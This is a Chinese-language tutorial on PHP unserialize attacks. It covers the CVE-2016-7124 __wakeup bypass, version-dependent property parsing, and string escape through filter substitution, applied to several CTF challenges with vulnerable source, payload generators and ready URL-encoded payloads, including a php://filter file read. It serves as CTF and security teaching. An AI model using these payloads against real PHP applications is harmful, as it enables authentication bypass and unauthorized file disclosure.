PHP版本绕过漏洞
CVE-2016-7124(__wakeup绕过)
漏洞编号:CVE-2016-7124
影响版本:PHP 5<5.6.25; PHP 7<7.0.10(php版本符合要求一般都会存在,基本不会修复,除非更新)
漏洞危害:如存在wakeup方法,调用unserilize()方法前则先调用wakeup方法,但序列化字符串中表示对象属性个数的值大于真实属性个数时会跳过__wakeup执行
Demo:
<?php
//__wakeup:反序列化恢复对象之前调用该方法
//CVE-2016-7124 __wakeup绕过
class Test{
public $sex;
public $name;
public $age;
public function __construct($name, $age, $sex){
echo "__construct被调用!<br>";
}
public function __wakeup(){
echo "<br>__wakeup()被调用<br>";
}
public function __destruct(){
echo "<br>__destruct()被调用<br>";
}
//
}
//$t =new Test("xiaodi",30,"man");
//print_r(serialize($t));
unserialize($_GET['x']);
传入序列化数据?x=O:4:"Test":3:{s:3:"sex";N;s:4:"name";N;s:3:"age";N;}
当Test类后3个变量改为大于3个,如4时,会跳过__wakeup执行


案例:
[极客大挑战 2019]PHP:https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]PHP
- 下载源码分析,触发flag条件备份 –> 访问
/www.zip下载源码 - 分析会触发调用__wakeup 强制username值
index.php:包含class.php参数select用get方式传入序列化数据,进行反序列化操作// index.php
<?php
include ‘class.php’;
$select = $_GET[‘select’];
$res=unserialize(@$select);
?>class.php:<?php
include ‘flag.php’;
error_reporting(0);
class Name{
private $username = ‘nonono’;
private $password = ‘yesyes’;
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = ‘guest’;
}
function __destruct(){
if ($this->password != 100) {
echo “</br>NO!!!hacker!!!</br>”;
echo “You name is: “;
echo $this->username;echo “</br>”;
echo “You password is: “;
echo $this->password;echo “</br>”;
die();
}
if ($this->username === ‘admin’) {
global $flag;
echo $flag;
}else{
echo “</br>hello my friend~~</br>sorry i can’t give you the flag!”;
die();
}
}
}
?>三个魔术方法__constructnew对象自动调用,初始化传入username和password的值__wakeup反序列化时自动调用,将username值改为guest__destruct脚本结束时调用,首先判断password值是否为100(整数型,非字符串型),不是就直接die()结束代码运行;如果是100,再往下判断username值是否为admin,是就输出flag先执行__wakeup,再执行__destruct注意:这里的__wakeup在反序列化时自动调用,导致传入的username值最终都会改为guest,所以必须想办法不执行__wakeup操作 - 利用语言漏洞绕过 CVE-2016-7124查看网站php版本:发现为php5.3,符合CVE-2016-7124,
__wakeup绕过的条件 - 构造payload后 修改满足漏洞条件触发特别注意:password为整型100,而非字符串型<?php
class Name{
private $username = ‘admin’;
private $password = 100;}
$a = new Name();
echo serialize($a);O:4:”Name”:2:{s:14:” Name username”;s:5:”admin”;s:14:” Name password”;i:100;}
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
// 修改”Name”:2 为”Name”:3,绕过__wakeup()
O:4:”Name”:3:{s:14:” Name username”;s:5:”admin”;s:14:” Name password”;i:100;}
// url编码
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D/?select=传入触发
PHP版本绕过机制
影响版本:PHP7.1+
变量属性不同导致序列化数据差异
对象变量属性:
- public(公共的):在本类内部、外部类、子类都可以访问
- private(私有的):只有本类内部可以使用
- protected(保护的):只有本类或子类或父类中可以访问
序列化数据显示:
- public属性序列化的时候格式是正常成员名
- private属性序列化的时候格式是
%00类名%00成员名 - protected属性序列化的时候格式是
%00*%00成员名
<?php
class Test
{
public $sex = "man";
private $name = "xiaodi";
protected $age = "33";
}
$t=new Test();
print_r(serialize($t));

Demo
PHP版本导致的属性不同反序列化解析差异 –> 解析不敏感


<?php
class test{
private $a;
protected $b;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a;
}
}
//print_r(serialize(new test()));
//print_r(PHP_EOL);
//print_r(urlencode(serialize(new test())));
unserialize($_GET['x']);


总结
- 复制粘贴会导致
%00被识别为空格,失去原有意义 - 由于php版本差异性,导致解析序列化数据时,php7.1以上版本对对象变量属性识别不敏感(即写pop时可以都写为
public都没问题) - 而php7.1版本以下需要注意对象变量属性,并且序列化后严格使用url编码传参,否则会执行失败!
案例:
[网鼎杯 2020 青龙组]AreUSerialz:https://buuoj.cn/challenges#[%E7%BD%91%E9%BC%8E%E6%9D%AF%202020%20%E9%9D%92%E9%BE%99%E7%BB%84]
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
__destruct()–>process()–>read()
write()还需要加一个内容参数,所以不考虑
绕过is_valid()函数,private和protected属性经过序列化都存在不可打印字符*和%在ASCII码表的32-125
网站php版本大于7.1,使用public
<?php
class FileHandler {
public $op=2;
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content;}
$a = new FileHandler();
echo urlencode(serialize($a));
然后传参/?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3Bs%3A7%3A%22content%22%3BN%3B%7D
得到base64编码后的php伪协议读取的文件内容,解码即可

PHP字符增多减少逃逸
字符增多
运算思路:过滤字符个数多了1个
后续有47个就写47个覆盖后续
<?php
class user
{
public $username;
public $password;
public $isVIP;
public function __construct($u, $p)
{
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
function login(){
$isVip=$this->isVIP;
if($isVip==1){
echo 'flag is niubi';
}else{
echo 'fuck';
}
}
}
function filter($obj) {
return preg_replace("/admin/","hacker",$obj);
}
//你必须输入admin
$obj=$_GET['x'];
if(isset($obj)){
$obj = filter($obj);
$o=unserialize($obj);
$o->login();
}
- 正常序列化与反序列化$u=’admin’;
$p=’123456′;
$obj = new user($u,$p);
print_r(serialize($obj));
print_r(“\n”);
print_r(unserialize(serialize($obj)));
- 序列化后过滤$u=’admin’;
$p=’123456′;
$obj = new user($u,$p);
print_r(filter(serialize($obj)));
print_r(“\n”);
print_r(unserialize(filter(serialize($obj))));
- 使用字符增多逃逸$u=’adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin”;s:8:”password”;s:6:”123456″;s:5:”isVIP”;i:1;}’;
$p=”xiaodi”;
//
$obj = new user($u,$p);
print_r(serialize($obj));
print_r(“\n”);
print_r(filter(serialize($obj)));结果admin 5位 ;hacker 6位
- pop-payload47*5+47位 = 282位admin 5位: uesrname =
47*5+";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}(47位,总282)hacker 6位: username =47*6(总282);然后";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}就被释放出来了相当于设置一个username就把password和isvip全部设置了,不需要再单独设置<?php
class user
{
public $username=’admin’;
public $password=’123456′;
public $isVIP=’1′;
public function __construct($u, $p)
{
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
$u=’adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin”;s:8:”password”;s:6:”123456″;s:5:”isVIP”;i:1;}’;
$p=”xiaodi”;
$obj = new user($u,$p);
echo serialize($obj);
如果是过滤为hackers(多两位)
admin 5位 – hackers 7位
47位 ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
24* 5 + 48 = 24*7 admin24个加48位 ";s:8:"password";s:7:"1234567";s:5:"isVIP";i:1;} ";s:+8:"password";s:6:"123456";s:5:"isVIP";i:1;}
23 * 5 + 46 = 23*7 admin23个加46位 ";s:8:"password";s:5:"12345";s:5:"isVIP";i:1;}
字符减少
运算思路:字符个数少了1个(5位变4位)
思考写多个就截取后续多少个,如23个等
function filter($obj) {
return preg_replace("/admin/","hack",$obj);
}
admin(5位)过滤为hack(4位)
- 正常序列化与过滤$obj = new user(‘admin’,’xiaodi’);
echo serialize($obj);
$obj = filter(serialize($obj));
echo “\n”;
echo $obj;
echo “\n”;
var_dump(unserialize($obj));
echo unserialize($obj);
- 使用字符减少逃逸因为是字符减少,第一个username参数里肯定装不下,得从第二个参数password补充截断
- pop-payload
<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($s){
return str_replace("admin","hack",$s);
}
//22个
//$u='adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin';
//$p=';s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}';
//23个
$u='adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin';
$p='";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}';
$a = new user($u,$p);
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri;
echo "\n";
echo $a_seri_filter;

ctfshow-web262
解题思路:提示有message.php
其中获取msg获取f,m,t 要求token=admin
字符增多通过本地序列化发现62位需要覆盖
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
提示包含一个message.php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
这两段连起来
字符增多型,fuck -> loveU 增多一位
token值要为admin
- pop构造<?php
class message{
public $from;
public $msg;
public $to;
public $token=’admin’;
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$m=new message(‘fuck’,’x’,’y’);
echo serialize($m);O:7:”message”:4:{s:4:”from”;s:4:”fuck”;s:3:”msg”;s:1:”x”;s:2:”to”;s:1:”y”;s:5:”token”;s:5:”admin”;}
62位
“;s:3:”msg”;s:1:”x”;s:2:”to”;s:1:”y”;s:5:”token”;s:5:”admin”;}62个fuck +";s:3:"msg";s:1:"x";s:2:"to";s:1:"y";s:5:"token";s:5:"admin";}(310位) -> 62个loveU(310位)<?php
class message{
public $from;
public $msg;
public $to;
public $token=’admin’;
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f=’fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck”;s:3:”msg”;s:1:”x”;s:2:”to”;s:1:”y”;s:5:”token”;s:5:”admin”;}’;
$m=new message($f,’x’,’y’);
echo serialize($m);
过滤后:
传参f,m,t,传原始数据即可,它会自己序列化后过滤然后反序列化/message.php?f=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck”;s:3:”msg”;s:1:”x”;s:2:”to”;s:1:”y”;s:5:”token”;s:5:”admin”;}&m=x&t=y
本节知识点
WEB攻防-PHP反序列化-CVE&wakeup绕过
WEB攻防-PHP反序列化-版本属性解析差异
WEB攻防-PHP反序列化-字符增多减少逃逸
